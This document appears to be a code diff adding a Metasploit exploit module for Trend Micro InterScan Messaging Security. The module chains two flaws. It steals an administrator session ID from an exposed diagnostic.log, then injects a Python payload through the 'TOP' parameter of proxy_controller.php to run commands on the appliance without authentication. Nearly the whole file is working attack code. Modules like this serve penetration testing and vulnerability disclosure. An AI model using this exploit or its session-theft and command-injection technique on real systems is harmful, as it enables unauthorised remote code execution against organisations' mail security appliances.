|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + |
| 11 | + def initialize(info={}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution", |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a |
| 16 | + terminal command under the context of the web server user. |
| 17 | +
|
| 18 | + The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product |
| 19 | + have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which |
| 20 | + leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process |
| 21 | + does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, |
| 22 | + unauthenticated users can execute a terminal command under the context of the web server user. |
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'mr_me <[email protected]>', # author of command injection |
| 28 | + 'Mehmet Ince <[email protected]>' # author of authentication bypass & msf module |
| 29 | + ], |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'], |
| 33 | + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'], |
| 34 | + ], |
| 35 | + 'DefaultOptions' => |
| 36 | + { |
| 37 | + 'SSL' => true, |
| 38 | + 'RPORT' => 8445 |
| 39 | + }, |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'Compat' => |
| 43 | + { |
| 44 | + 'ConnectionType' => '-bind' |
| 45 | + }, |
| 46 | + }, |
| 47 | + 'Platform' => ['python'], |
| 48 | + 'Arch' => ARCH_PYTHON, |
| 49 | + 'Targets' => [[ 'Automatic', {}]], |
| 50 | + 'Privileged' => false, |
| 51 | + 'DisclosureDate' => "Oct 7 2017", |
| 52 | + 'DefaultTarget' => 0 |
| 53 | + )) |
| 54 | + |
| 55 | + register_options( |
| 56 | + [ |
| 57 | + OptString.new('TARGETURI', [true, 'The URI of the Trend Micro IMSVA management interface', '/']) |
| 58 | + ] |
| 59 | + ) |
| 60 | + end |
| 61 | + |
| 62 | + def extract_jsessionid |
| 63 | + res = send_request_cgi({ |
| 64 | + 'method' => 'GET', |
| 65 | + 'uri' => normalize_uri(target_uri.path, 'widget', 'repository', 'log', 'diagnostic.log') |
| 66 | + }) |
| 67 | + if res && res.code == 200 && res.body.include?('JSEEEIONID') |
| 68 | + res.body.scan(/JSEEEIONID:([A-F0-9]{32})/).flatten.last |
| 69 | + else |
| 70 | + nil |
| 71 | + end |
| 72 | + end |
| 73 | + |
| 74 | + def widget_auth(jsessionid) |
| 75 | + res = send_request_cgi({ |
| 76 | + 'method' => 'GET', |
| 77 | + 'uri' => normalize_uri(target_uri.path, 'widget', 'index.php'), |
| 78 | + 'cookie' => "CurrentLocale=en-U=en_US; JSESSIONID=#{jsessionid}" |
| 79 | + }) |
| 80 | + if res && res.code == 200 && res.body.include?('USER_GENERATED_WIDGET_DIR') |
| 81 | + res.get_cookies |
| 82 | + else |
| 83 | + nil |
| 84 | + end |
| 85 | + end |
| 86 | + |
| 87 | + def check |
| 88 | + # If we've managed to bypass authentication, that means target is most likely vulnerable. |
| 89 | + jsessionid = extract_jsessionid |
| 90 | + if jsessionid.nil? |
| 91 | + return Exploit::CheckCode::Safe |
| 92 | + end |
| 93 | + auth = widget_auth(jsessionid) |
| 94 | + if auth.nil? |
| 95 | + Exploit::CheckCode::Safe |
| 96 | + else |
| 97 | + Exploit::CheckCode::Appears |
| 98 | + end |
| 99 | + end |
| 100 | + |
| 101 | + def exploit |
| 102 | + print_status('Extracting JSESSIONID from publicly accessible log file') |
| 103 | + jsessionid = extract_jsessionid |
| 104 | + if jsessionid.nil? |
| 105 | + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") |
| 106 | + else |
| 107 | + print_good("Awesome. JSESSIONID value = #{jsessionid}") |
| 108 | + end |
| 109 | + |
| 110 | + print_status('Initiating session with widget framework') |
| 111 | + cookies = widget_auth(jsessionid) |
| 112 | + if cookies.nil? |
| 113 | + fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA") |
| 114 | + else |
| 115 | + print_good('Session with widget framework successfully initiated.') |
| 116 | + end |
| 117 | + |
| 118 | + print_status('Trigerring command injection vulnerability') |
| 119 | + send_request_cgi({ |
| 120 | + 'method' => 'POST', |
| 121 | + 'uri' => normalize_uri(target_uri.path, 'widget', 'proxy_controller.php'), |
| 122 | + 'cookie' => "CurrentLocale=en-US; LogonUser=root; JSESSIONID=#{jsessionid}; #{cookies}", |
| 123 | + 'vars_post' => { |
| 124 | + 'module' => 'modTMCSS', |
| 125 | + 'serverid' => '1', |
| 126 | + 'TOP' => "$(python -c \"#{payload.encoded}\")" |
| 127 | + } |
| 128 | + }) |
| 129 | + end |
| 130 | +end |
0 commit comments